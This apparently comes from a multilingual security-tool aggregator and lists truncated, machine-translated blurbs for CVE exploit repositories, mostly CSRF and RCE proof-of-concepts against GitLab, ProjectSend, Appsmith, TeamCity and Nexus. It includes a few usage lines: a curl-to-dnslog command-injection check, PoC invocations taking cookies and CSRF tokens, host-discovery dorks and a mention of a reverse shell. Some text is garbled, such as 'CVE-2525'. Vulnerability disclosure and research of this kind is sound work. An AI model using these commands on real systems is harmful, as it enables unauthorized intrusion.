CVE-2021-22205

CVE-2021-22205 الإصدارات المتأثرة: Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 الاستخدام root@kitploit: python3 CVE-2021-22205.py target "curl \whoami.dnslog" الحصول على csrf-token: احصل على csrf-token من خلال /users/signin ثم استخدم CVE-2021-22205 poc السابق لإنشاء حزمة تحميل...

CVE-2024-11680

استغلال ProjectSend CVE-2024-11680 هذا هو استغلال إثبات مفهوم لـ CVE-2024-11680، وهي ثغرة تسمح بتعديل الإعدادات دون مصادقة ورفع ويب شيل في ProjectSend. الوصف يستغل هذا الاستغلال عدة ثغرات في ProjectSend: التحايل على رمز CSRF مما يسمح بتغيير الإعدادات إعدادات تسجيل عملاء غير آمنة رفع ملفات دون قيو...

Exploit-CSRF-on-SCOPIA-XT-Desktop-version-8.3.915.4

استغلال CSRF على SCOPIA XT Desktop الإصدار 8.3.915.4 سيصف هذا الـ PoC كيفية استغلال تزوير الطلبات عبر المواقع CSRF على SCOPIA XT Desktop الإصدار 8.3.915.4 حول SCOPIA الموقع الإلكتروني: https://support.avaya.com/products/P1421/scopia-desktop/8.2.1 حول تزوير الطلبات عبر المواقع CSRF تزوير الطلبات ع...

CVE-2023-7028

CVE-2023-7028: Инструмент эксплуатации CVE-2023-7028 Описание: Этот скрипт на Python автоматизирует эксплуатацию гипотетической уязвимости безопасности CVE-2023-7028 на экземплярах GitLab. Он облегчает атаки сброса пароля на указанные целевые адреса электронной почты, демонстрируя потенциальный...

CVE-2026-48060

CVE-2026-48060 - حقن HTML في Litestar عبر رمز CSRF يحتوي هذا المستودع على إثبات المفهوم للاستغلال والتطبيق الضعيف لإظهار ثغرة حقن HTML الموجودة في الإصدار 2.21.0 من Litestar. كيفية التشغيل root@kitploit: git clone https://github.com/Blinky-Keys/CVE-2026-48060 cd CVE-2026-48060 sudo docker build -...

MDaemon-Advisories

MDaemon 권고사항 MDaemon 권고사항: CVE-2021-27180 반사형 XSS CVE-2021-27181 CSRF 토큰 고정 CVE-2021-27182 Iframe 인젝션 CVE-2021-27183 원격 코드 실행 해당 취약점들은 2021년 1월에 이미 패치되었으며 CVE 목적으로 공개되었습니다. 이 취약점들은 이메일 메시지를 통해 RCE/계정 탈취를 달성하기 위해 체이닝될 수 있습니다 사용자 상호작용 필요. 타임라인: 15-Dec-2020: 취약점 보고서를 공급업체에 전송 12-Jan-2021: 패치 발행 패치 노...

CVE-2024-55271

نظام إدارة الصالة الرياضية CVE-2024-55271 نظام إدارة صالة رياضية مبني باستخدام PHP وMySQL. المدقق Shoaib Alam - ملف لينكد إن الوصف ثغرة CSRF في قسم تحديث الملف الشخصي تم تحديد ثغرة من نوع Cross-Site Request Forgery CSRF في نظام إدارة الصالة الرياضية. هذه المشكلة موجودة في وظيفة تحديث الملف الشخصي...

CVE-2017-9934

CVE-2017-9934 Je suis le rapporteur de cette exploitation, sous le nom : Envo Joomla 1.7.3 - 3.7.2 Preuve de concept d'exploitation CSRF Cette vulnérabilité fonctionne car les versions 1.7.3 à 3.7.2 de Joomla ne nettoient pas les entrées base64. Headers: root@kitploit: POST...

CVE-2022-47131

CVE-2022-47131 Academy LMS history.pushState'', '', '/'...

CVE-2026-26718

विवरण सारांश xxl-job-admin वेब एप्लिकेशन में क्रॉस-साइट रिक्वेस्ट फोर्जरी CSRF कमजोरी मौजूद है जो हमलावर को Glue IDE शेल स्क्रिप्ट्स में अनधिकृत संशोधन करने की अनुमति देती है। प्रभावित एंडपॉइंट में उचित CSRF टोकन सत्यापन का अभाव है और एक अनुमत रिक्वेस्ट मैपिंग के माध्यम से मनमाने HTTP तरीकों को...

CVE-2020-10199-10204

CVE-2020-10199-10204 http://1984-0day.com root@kitploit: python3 poc.py -i 127.0.0.1 -p 8081 -c cookie -csrf csrf-token parse = argparse.ArgumentParser parse.addargument'-i', '--ip', help='ip' parse.addargument'-p', '--port', default='8081', help='port' parse.addargument'-c', '--cookie', help='HT...

CVE-2020-10199_POC-EXP

Versões afetadas + + EXP: python3 cve-2020-10199poc.py 1.1.1.1 8081 0.9567822851573897 edfca15e-c721-45e2-bdef-e8b3c6364ddb + + VER: Nexus Repository Manager OSS/Pro version = 3.21.1 + +----------------------------------------------------------------------------------------------------------+ EXP...

CVE-2023-32315-java7-

CVE-2023-32315 0x01 प्राप्त JSESSIONID और csrftoken लें, अनुरोध पैकेट बनाकर नया उपयोगकर्ता जोड़ें JSESSIONID, csrftoken बदलें img.png root@kitploit: cd CVE-2023-32315-Openfire-Bypass/scanall go mod tidy go run main.go -u http://openfire.com:9090 0x02 प्लगइन संकलन और स्थापना root@kitploit: mvn cle...

CVE-2024-55963

CVE‑2024‑55963 Appsmith RCE PoC PoC 익스플로잇으로, 취약한 Appsmith 인스턴스에서 임의 명령 실행 또는 리버스 셸을 생성합니다. 이 스크립트는 environmentId 기능이 있는 최신 서버와 그 이전의 "레거시" 빌드를 모두 자동으로 처리하므로, v1.20 부터 마지막 취약 버전인 v1.51 까지의 모든 버전에서 하나의 스크립트로 사용할 수 있습니다. 빠른 시작 root@kitploit: 임의 명령 실행 기본값은 id python3 appsmith-rce.py...

CVE-2024-27198-RCE

Cyberspace Mapping Dork Fofa root@kitploit: app="JETBRAINS-TeamCity" ZoomEye root@kitploit: app:"JetBrains TeamCity" Hunter.how root@kitploit: product.name="TeamCity" Shodan root@kitploit: http.component:"teamcity" Verwendung Ich verwende Python3.9. root@kitploit: pip install requests urllib3 fak...

ExtendedMacro

ExtendedMacro ExtendedMacro ist ein Plug-in für den BurpSuite-Proxy. Es bietet eine ähnliche, aber erweiterte Funktionalität der BurpSuite-Macro-Funktion. Die Hauptfunktion besteht darin, dass Sie in der Lage sind, eine oder mehrere Anfragen vor jeder Anfrage auszulösen, die von Intruder, Repeate...

CVE-2022-41544

CVE-2022-41544 Script di Exploit Questo repository contiene uno script per sfruttare la vulnerabilità CVE-2022-41544 in GetSimple CMS. Lo script esegue diversi passaggi per verificare la presenza di vulnerabilità, divulgare le chiavi API, impostare i cookie, ottenere i token CSRF, caricare una...

CVE-2021-24085

Microsoft Exchange Server msExchEcpCanary Vulnerabilità di elevazione dei privilegi tramite Cross Site Request Forgery Questa è una prova di concetto per CVE-2021-24085. 1. poc.py scarica il file del certificato del target con la chiave privata all'interno 2. YellowCanary genera il token csrf...

CVE-2525-25748-Cross-Site-Request-Forgery-CSRF-Vulnerability-in-HotelDruid-3.0.7

CVE-2025-25748 - Vulnerabilità Cross Site Request Forgery CSRF in HotelDruid 3.0.7 Descrizione Una vulnerabilità di Cross Site Request Forgery CSRF nell'endpoint gestioneutenti.php di HotelDruid 3.0.7 consente agli attaccanti di eseguire azioni non autorizzate ad esempio, modificare le password...

CVE-2018-15133-laravel-framework

CVE-2018-15133 - Verwundbares Lab für Laravel Framework 5.6.x Dieses Repository stellt ein reproduzierbares Docker-Lab für CVE-2018-15133 bereit Laravel Framework Token-Unserialize-RCE, wenn APPKEY bekannt ist. Die App ist auf eine verwundbare Laravel 5.6.x-Version festgelegt und stellt eine...